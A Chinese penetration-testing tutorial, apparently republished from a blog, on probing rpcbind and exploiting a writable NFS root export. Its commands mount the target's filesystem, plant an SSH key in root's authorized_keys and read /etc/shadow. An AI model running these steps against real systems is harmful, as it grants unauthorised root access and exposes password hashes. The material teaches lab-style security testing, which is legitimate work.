目錄
1、相關(guān)服務(wù)介紹
1.1 NFS
1.2 RPC服務(wù)
2、探測(cè)目標(biāo)rpcbind
2.1 探測(cè)版本信息
2.2 nmap腳本探測(cè)
2.3 使用metasploit模塊驗(yàn)證
1、相關(guān)服務(wù)介紹
1.1 NFS
NFS(network file system):網(wǎng)絡(luò)文件系統(tǒng)。Linux下三大文件系統(tǒng)之一,采用C/S架構(gòu)。允許網(wǎng)絡(luò)中的計(jì)算機(jī)之間通過(guò)TCP/IP網(wǎng)絡(luò)共享資源。在NFS應(yīng)用中,本地NFS客戶端可以透明的讀寫(xiě)位于遠(yuǎn)端NFS服務(wù)器上的文件。
NFS服務(wù)端機(jī)器:通過(guò)NFS協(xié)議將文件共享到網(wǎng)絡(luò)上
NFS客戶端機(jī)器:通過(guò)網(wǎng)絡(luò)掛載NFS共享目錄到本地
補(bǔ)充:NFS服務(wù)器主要進(jìn)程
1 rpc.nfsd 進(jìn)程
NFS 服務(wù)的主進(jìn)程,主要管理客戶端是否能夠接入 NFS 服務(wù)器以及數(shù)據(jù)的傳輸。該進(jìn)程固定監(jiān)聽(tīng) TCP/UDP 2049 端口。
2 rpc.mountd 進(jìn)程
管理和維護(hù) NFS 文件系統(tǒng),根據(jù)所設(shè)定的權(quán)限決定是否允許客戶端掛載指定的共享目錄。該進(jìn)程監(jiān)聽(tīng)的端口默認(rèn)是不固定的。
3 rpc.lockd 進(jìn)程
提供文件鎖功能,防止多個(gè)客戶端同時(shí)寫(xiě)入一個(gè)文件。該進(jìn)程監(jiān)聽(tīng)的端口默認(rèn)是不固定的。
4 rpc.statd 進(jìn)程
負(fù)責(zé)檢查數(shù)據(jù)的狀態(tài)及一致性,需要與 rpc.lockd 配合使用。該進(jìn)程監(jiān)聽(tīng)的端口默認(rèn)是不固定的。
5 rpcbind 進(jìn)程
RPC 的端口映射器進(jìn)程,監(jiān)聽(tīng) UDP 111 端口。
更多參考:
NFS詳解(概念+實(shí)驗(yàn)演示)_Eichi_的博客-CSDN博客_nfs
1.2 RPC服務(wù)
RPC(Remote Procedure Call):遠(yuǎn)程過(guò)程調(diào)用協(xié)議。
NFS 只提供了基本的文件處理功能,而不提供任何 TCP/IP 數(shù)據(jù)傳輸功能。它需要借助 RPC 協(xié)議才能實(shí)現(xiàn) TCP/IP 數(shù)據(jù)傳輸功能。
RPC 最主要的功能就是在指定每個(gè) NFS 功能所對(duì)應(yīng)的端口序號(hào)(port number ),并且回報(bào)給客戶端,讓客戶端可以連結(jié)到正確的物理端口(port)上去。
本文實(shí)驗(yàn)即通過(guò)此探測(cè)此服務(wù),獲取NFS相關(guān)服務(wù)信息。
?補(bǔ)充:shodan搜索發(fā)現(xiàn),全球開(kāi)啟111端口的服務(wù)器約210萬(wàn)
2、探測(cè)目標(biāo)rpcbind
2.1 探測(cè)版本信息
nmap -sV -p 111 192.168.x.xx
//探測(cè)rpcbind版本信息
searchsploit rpcbind
//搜索相關(guān)漏洞
2.2 nmap腳本探測(cè)
nmap -p 111 --script=rpcinfo 192.168.x.xx
//探測(cè)目標(biāo)的rpcinfo信息
2.3 使用metasploit模塊驗(yàn)證
use auxiliary/scanner/misc/sunrpc_portmapper
//SunRPC Portmap程序枚舉器
//此模塊調(diào)用目標(biāo)端口映射服務(wù)并枚舉所有程序條目及其運(yùn)行端口號(hào)。
show info
//查看模塊信息
?3、Linux NFS共享目錄配置漏洞
原理: NFS服務(wù)配置漏洞賦予了根目錄遠(yuǎn)程可寫(xiě)權(quán)限,導(dǎo)致
/root/.ssh/authorized_keys
可被修改,實(shí)現(xiàn)遠(yuǎn)程ssh無(wú)密碼登錄,或可導(dǎo)致NFS服務(wù)器文件被導(dǎo)出。
nmap --script=nfs-* IP
//星號(hào)加載所有有關(guān)于nfs探測(cè)的腳本,來(lái)探測(cè)對(duì)應(yīng)目標(biāo)的IP地址
除了可以使用nmap判斷nfs是否可以導(dǎo)出,我們還可以使用showmount命令確定“/”共享(文件系統(tǒng)的根)是否可以導(dǎo)出到本地。可能需要安裝nfs-common包才能使用"showmount"命令
apt-get install nfs-common
//安裝nfs-common包
showmount -e IP
//showmount(show mounted disk),其功能是用于顯示NFS服務(wù)器的共享信息。
//-d 僅顯示已被NFS客戶端加載的目錄
//-e 顯示NFS服務(wù)器上所有的共享目錄
/*表示根目錄下的內(nèi)容,都可以導(dǎo)出?
(1)遠(yuǎn)程SSH無(wú)密登錄
ssh-keygen
//生成RSA公鑰
cd /tmp
mkdir troot(名字隨意)
mount –t nfs IP:/ /tmp/troot
//把192.168.92.9的根目錄掛載到/tmp/troot/下
cat /root/.ssh/id_rsa.pub>>/tmp/troot/root/.ssh/authorized_keys
//把生成的公鑰追加到靶機(jī)的authorized_keys
文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-787354.html
ssh root@IP
//實(shí)現(xiàn)無(wú)密碼登錄
(2)導(dǎo)出NFS服務(wù)器文件文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-787354.html
cd ~
mkdir nfs_root
//確定要導(dǎo)出新建的內(nèi)容
mount -t nfs IP地址:/ ~/nfs_root -o nolock
//-o nolock表示不加任何處理,直接輸出
cat ~/nfs_root/etc/shadow
//查看shadow文件
cat ~/nfs-root/etc/passwd
//查看passwd文件
到了這里,關(guān)于4.8、漏洞利用-NSF配置漏洞與Rpcbind信息泄露的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!